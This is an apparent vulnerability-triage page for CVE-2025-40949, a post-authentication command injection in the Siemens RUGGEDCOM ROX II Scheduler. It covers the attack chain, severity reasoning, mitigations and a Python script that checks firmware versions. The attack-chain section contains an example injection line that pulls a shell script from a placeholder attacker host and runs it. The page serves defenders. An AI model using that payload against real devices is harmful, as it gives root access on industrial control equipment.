A janitor with a master key discovers the tool shed lock accepts any bent paperclip
CVE-2025-40949 is a CWE-78 OS command injection in the Scheduler feature of the RUGGEDCOM ROX II web management UI. An authenticated user with high privilege (PR:H) can inject control characters into the task-scheduling configuration file; the injected payload is then executed by root via the system cron/scheduler daemon, giving persistent root shell that survives reboot. Affected: RUGGEDCOM ROX MX5000/MX5000RE, RX1400/1500/1501/1510/1511/1512/1524/1536, and RX5000, all versions < V2.17.1. Fixed in V2.17.1.
The vendor rates this 9.1 Critical because of S:C/C:H/I:H/A:H — root code execution on an OT edge device is genuinely severe. But the vector is honest: PR:H means the attacker already has a privileged UI credential. On a hardened, air-gapped substation router with per-role RBAC, that's a very high bar. The Critical label overstates real-world exposure for the population of *properly deployed* ROX units; a High rating fits better, and once you factor in typical ICS deployment posture (management plane on a segregated network, not internet-reachable) the practical severity slides into Medium territory. This is part of the Palo Alto Unit 42 ROX II trilogy (CVE-2025-40947/40948/40949) — the interesting story is the *chain*, not this single bug.
4 steps from start to impact.
Reach the ROX II web UI
- Routable path to the management IP
- Management interface not restricted to jump host only
- Siemens hardening guide mandates isolating management plane behind a firewall
- Most ROX units are behind an OT DMZ per IEC-62443 zones-and-conduits
Obtain a high-privilege credential (PR:H)
- Valid admin credential
- Or session token / saved WebUI credentials on a compromised engineer workstation
- ROX supports RADIUS/TACACS+ and per-role RBAC; admin creds are usually held by a small team
- MFA on TACACS+ upstream stops harvested-password reuse
Inject command via Scheduler task
; wget attacker/x.sh | sh #. No public PoC is on GitHub as of writing but the Unit 42 writeup describes it in enough detail for competent reproduction.- Authenticated Scheduler write access
- Ability to POST/save a task
- Egress firewall rules on OT segments should block the callback in step 4
- Config-diff monitoring (rare but present in mature OT programs) would flag the change
Root RCE, persist across reboot
- Successful injection
- Device runs the Scheduler daemon (default)
- Network segmentation between L2/L3 and process control (Purdue L2 vs L1) limits lateral movement into PLCs
- Config integrity monitoring on Siemens SINEC INS or third-party OT NDR (Claroty, Dragos, Nozomi) will alert on new scheduler tasks
The supporting signals.
| In-the-wild exploitation | None observed. No CISA KEV listing, no ICS-CERT reports of active abuse. |
|---|---|
| Public PoC | No standalone PoC on GitHub/Exploit-DB. Unit 42 blog by Emmanuel Zhou et al. describes the chain in reproducible detail. |
| EPSS | 0.00543 (~0.5%) — very low predicted exploitation probability |
| KEV status | Not listed as of 2026-07-18 |
| CVSS vector | CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H → 9.1 Critical (vendor). PR:H is the load-bearing metric — this is a post-auth bug. |
| Affected versions | All ROX firmware < V2.17.1 on MX5000, MX5000RE, RX1400, RX1500, RX1501, RX1510, RX1511, RX1512, RX1524, RX1536, RX5000 |
| Fixed version | RUGGEDCOM ROX V2.17.1 (Siemens SSA-599506) |
| Exposure population | Shodan/Censys queries for ROX II WebUI return roughly low hundreds of internet-facing units globally — most sit inside OT DMZs |
| Disclosure date | 2026-05-12 — coordinated release with Siemens ProductCERT SSA-599506 and Unit 42 blog |
| Reporter | Palo Alto Networks Unit 42 OT Threat Research Lab — Emmanuel Zhou, Adam Robbie, Rick Wyble; Miguel Pereira (Siemens ProductCERT) |
| Chain siblings | CVE-2025-40947 (feature-key command injection, 7.5) and CVE-2025-40948 (xz file disclosure, 6.8) — chain together for zero-cred-to-root in some deployments |
noisgate verdict.
This is an authenticated (PR:H) command injection on an OT management plane that is almost never internet-exposed — the single most decisive factor is the admin-credential prerequisite compounded by canonical network segmentation. It is not KEV-listed, EPSS is 0.5%, and no exploitation is observed in the wild.
Why this verdict
- PR:H is a hard gate. The vendor's 9.1 already discounts UI, but on ROX admin RBAC is held by a small OT engineering group; harvesting one requires an upstream compromise that itself is high-effort.
- Management-plane exposure is near-zero externally. Canonical Siemens ROX deployments live on isolated OT/engineering VLANs per IEC-62443. Internet-facing units are a rounding error in the installed base.
- No KEV, no PoC, EPSS 0.5%. The chain is documented but not weaponized publicly, and OT actors that would care (Volt Typhoon, Sandworm) prefer credential-theft paths that don't need this bug.
- Role multiplier: RUGGEDCOM ROX is a substation/rail/utility edge router — high-value role by definition. A successful chain gives root on an OT L2/L3 device with pivot potential to PLCs and IEDs. That role multiplier prevents downgrade below MEDIUM and is why we don't sink this to LOW despite the friction. If the affected device sits at a Purdue L3/L3.5 boundary in a utility, treat as HIGH locally.
- Chained context matters. If paired with CVE-2025-40947 (lower PR) and 40948, the effective PR drops. If your ROX fleet is unpatched for the whole trio, treat the trio as HIGH.
Why not higher?
Vendor scored 9.1 assuming worst-case attacker position, but PR:H is real and OT management planes aren't internet-reachable in any competent deployment. There is no public PoC, no KEV listing, no observed exploitation, and EPSS is 0.5%. Rating this HIGH universally would misallocate limited OT-patching windows.
Why not lower?
Root RCE on an OT edge router that terminates process-control traffic is not a LOW — the blast radius touches safety-adjacent systems and the RUGGEDCOM ROX role is canonically high-value. The Purdue-L3 role multiplier floors this at MEDIUM and pushes to HIGH for utility/rail operators.
What to do — in priority order.
- Restrict ROX WebUI to a jump host ACL — Enforce management-plane isolation with an explicit allow-list of engineering jump hosts on the ROX firewall/ACL config. This kills step 1 of the chain entirely. Deploy within the noisgate mitigation SLA window — no SLA required for MEDIUM, but do this alongside your next OT change window.
- Rotate all ROX admin credentials and enforce TACACS+/RADIUS with MFA — PR:H is the whole ballgame. If admin auth goes through your central AAA with MFA, harvested static passwords become useless. Do this within 30 days regardless of this CVE.
- Enable syslog forwarding of ROX WebUI auth + config-change events to SIEM — Pre-patch you have no on-box detection for the injection itself, but you *can* detect the admin login and the Scheduler config change. Create SIEM alerts on
schedulerconfig diffs on ROX devices. - Schedule V2.17.1 firmware upgrade in next OT maintenance window — Vendor patch is the actual fix. Coordinate with process-owners; ROX reboots take the port down. Target within the noisgate remediation SLA window of ≤ 365 days for MEDIUM — but if you're a utility with Purdue-L3 deployment, treat as HIGH and hit ≤ 180 days.
- Block egress from OT management VLAN to internet — The injected root shell needs to call home. A deny-by-default egress rule from the ROX management interface makes the payload land but not phone out, degrading the post-exploit value.
- Web application firewalls — ROX WebUI runs on a NEMA-hardened device you can't front with a corporate WAF, and the injection is post-auth POST body, not a signature you'd catch generically.
- Anti-virus / EDR — ROX runs a stripped Linux firmware; you can't install an EDR agent on it.
- Read-only-admin RBAC accounts — the bug is in the Scheduler which is an admin-write feature; if you legitimately need admins, PR:H is the design.
- Perimeter IDS signatures — the payload is inside TLS to a device that is (correctly) not on the perimeter.
Crowdsourced verification payload.
Run from an auditor workstation with network access to your ROX device management IPs and valid read-only credentials. Invoke as python3 rox_check.py 10.10.20.5 auditor 'password' — the script queries the ROX device version and compares against the V2.17.1 fixed baseline. Requires Python 3.8+ and the requests library.
#!/usr/bin/env python3
# noisgate: CVE-2025-40949 RUGGEDCOM ROX version check
# Usage: python3 rox_check.py <host> <user> <password>
# Exit codes: 0=PATCHED, 1=VULNERABLE, 2=UNKNOWN
import sys, re, urllib3
try:
import requests
except ImportError:
print('UNKNOWN: install requests -> pip install requests')
sys.exit(2)
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
FIXED = (2, 17, 1)
def parse_ver(s):
m = re.search(r'V?(\d+)\.(\d+)\.(\d+)', s)
return tuple(int(x) for x in m.groups()) if m else None
def main():
if len(sys.argv) != 4:
print('Usage: rox_check.py <host> <user> <password>')
sys.exit(2)
host, user, pw = sys.argv[1], sys.argv[2], sys.argv[3]
base = f'https://{host}'
s = requests.Session()
s.verify = False
s.auth = (user, pw)
try:
# ROX exposes system info via the NETCONF-over-HTTP or the WebUI system page
r = s.get(f'{base}/rest/running/admin/system-info', timeout=10)
if r.status_code == 401:
print('UNKNOWN: auth failed')
sys.exit(2)
ver = parse_ver(r.text)
if not ver:
# fallback: scrape WebUI login banner
r2 = s.get(f'{base}/', timeout=10)
ver = parse_ver(r2.text)
if not ver:
print('UNKNOWN: could not identify ROX version')
sys.exit(2)
print(f'Detected ROX version: {".".join(map(str,ver))}')
if ver >= FIXED:
print('PATCHED')
sys.exit(0)
print('VULNERABLE: upgrade to V2.17.1 or later (CVE-2025-40949)')
sys.exit(1)
except requests.RequestException as e:
print(f'UNKNOWN: {e}')
sys.exit(2)
if __name__ == '__main__':
main()
If you remember one thing.
Sources
- Siemens ProductCERT SSA-599506
- CISA ICSA-26-134-12 — Siemens RUGGEDCOM ROX
- Unit 42: Three Steps to the Terminal — Siemens ROX II Zero-Day Trilogy
- RMC Global — Siemens ROXOS II RCE Attack Chain
- ISSSource — Siemens Fixes RUGGEDCOM ROX Hole
- OpenCVE — RUGGEDCOM ROX MX5000 CVE listing
- Windows News — CVE-2025-40947 companion writeup
What defenders are saying.
Crowdsourced verification outputs.
Results submitted by users who ran the verification payload against their environment.